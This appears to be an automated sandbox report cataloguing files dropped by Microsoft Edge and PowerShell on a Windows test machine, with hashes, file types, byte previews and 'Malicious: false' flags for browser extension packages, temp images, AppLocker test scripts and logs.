Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\16e50400-d88b-4efe-b9d0-b7c3d5b9b897.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x800, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	187870
Entropy (8bit):	7.999013258393486
Encrypted:	true
SSDEEP:	3072:H7Uxsy3eSeT4buEoFmO7f4duw1G4J3ZEssmwDLwUeiwaODgT1LPH0:H7byuSeTYCXQdDhwDL3NLOg1bH0
MD5:	8781A81727602775AACB32609EBFAD39
SHA1:	423AFD558A5AC4FC657FF8E1BC0A269AFA21C826
SHA-256:	D25B29D19D59D464D0DE882632412B8D06F686043BC6E9C829E1CE9E6201973D
SHA-512:	23F58B5053DADE1126CEF4177498D05DC802F049972B98EECCFF7DA4E7B2A1CDED5D8F4E54594DB951E495C481B2D88FF5AD3559B58D304BA8FEB5BD6ADAFFE1
Malicious:	false
Preview:	RIFF....WEBPVP8 ....0...... .>I .E".!!'...P..ei...=8.9y.\......G..D.#m.........^...=J?z.P.....?..s.......j8...../.>..\|...`o..w.[.\|..7.........i...].W......K\|.........a/._.?i...k.w.....o.w.....}.h.b.e.s.g....A..?..............o.....>..........G...7...W..._.................<.......q~..i..........S..o.^;;..O......>..........f........9...W./.......?z?...}..w.../'.G.g.........k....?....]..._.?....Y.k...G.......?....../.....~....F...[...o../.?......7.........I............~b~......9.g.....W.........P/._...^...sM...`l..T.r....6.w%..x..G.......Y....fWR.gm.h`Y.....?..)......34.N.+T..:.q..W..b.L7.8.>KXN3..RI%ll......yI........i..".2.W...@.1.....I..7.bXD...t..s.`..c..q\.ujc...r.......<.`E,7...C.....e..^h.G...u".>...9W.4..M.....5.(w.~.ls....s.AG.QS.n...]..j.zyk..;.V.2=vN.7.U.C.n.w.A..36;6........}......&....c.....p.3.'..>{...s..a....We.mC....y.Q...Z.C.>.\.....O...""X..Z2..7..`.6....~p.~A.rFZ..#E"E.....Jp...K.0.j.?.{k..{.+.QTM-DZ.f.X.j...^.....<.#w..gI.<

C:\Users\user\AppData\Local\Temp\364d3a06-e5f4-4d79-8887-89e9392ba8c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\8f6f72bf-a9ec-40b3-a3f7-3f8656d3cb2a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\99653e73-a6e6-4cc5-b55a-d8599f4fcc41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\99df47b3-db3d-4c4b-b721-71d96d45f6b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25d413oa.vct.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2c2hf1on.eht.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5a55iqro.1gu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bdghledq.grw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gd00qcq4.cwv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kkjziqae.hvv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhmtkeg5.xga.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wzlmpmyc.vgy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2crhehx.kjp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxrpwfb4.3z1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a41d76f0-fcf8-4444-8059-4edd8baf7a18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c71fcbbf-0575-42bd-a0c3-69fa19f4e586.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.3963140291323075
Encrypted:	false
SSDEEP:	24:YDG5LwRD0s/Up5fP1x5fn7Zu0QRWE5fR+nh0Qut5fxjK0Uw5Pnu0U+qp5M:YDG5LOD0s8p5nX5/o0KWE5JC0Nt5pO0J
MD5:	37D430C8D726E114BB9689AADE4C80CF
SHA1:	811E0EA8D3B507DD37C3BFBFFE8DD39B627466E0
SHA-256:	374429F9AA2AF16C27FC6814C4668F9769374B4C9C83E57C8C4CF29AE0216D4B
SHA-512:	4B797841319AAAEAAC50E08ED074C96E62746E2B876C47F72CE01DAEAD923A8DE6631489BEA514551DE733948273AAFF0BC88965E089FD2D881A8795CB83690E
Malicious:	false
Preview:	{"logTime": "1005/085948", "correlationVector":"8sNXFnC9i2+S99lAzDH6Rq","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/085948", "correlationVector":"81A02D7FC86E45EDA6CBCA8671A98AFF","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/085948", "correlationVector":"NiTqUUpDli2IJjzrRApLSF","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091044", "correlationVector":"4hXMqVe30Bl32fn1+6AOy1","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091053", "correlationVector":"D7BB119EE9F4429BBF8B8E46242DB5E9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091235", "correlationVector":"Wk5x1on3JpNq4FXPG6U9B5","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091235", "correlationVector":"EC448E7330FA4F5EA1E7898FDD3F2CB6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/091436", "correlationVector":"Ltc1GKjZ6R4P7ed5oiO6YB","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/091437", "correlationVector":"A569DB44

C:\Users\user\AppData\Local\Temp\scoped_dir5508_543417869\99653e73-a6e6-4cc5-b55a-d8599f4fcc41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5508_543417869\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5508_543417869\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

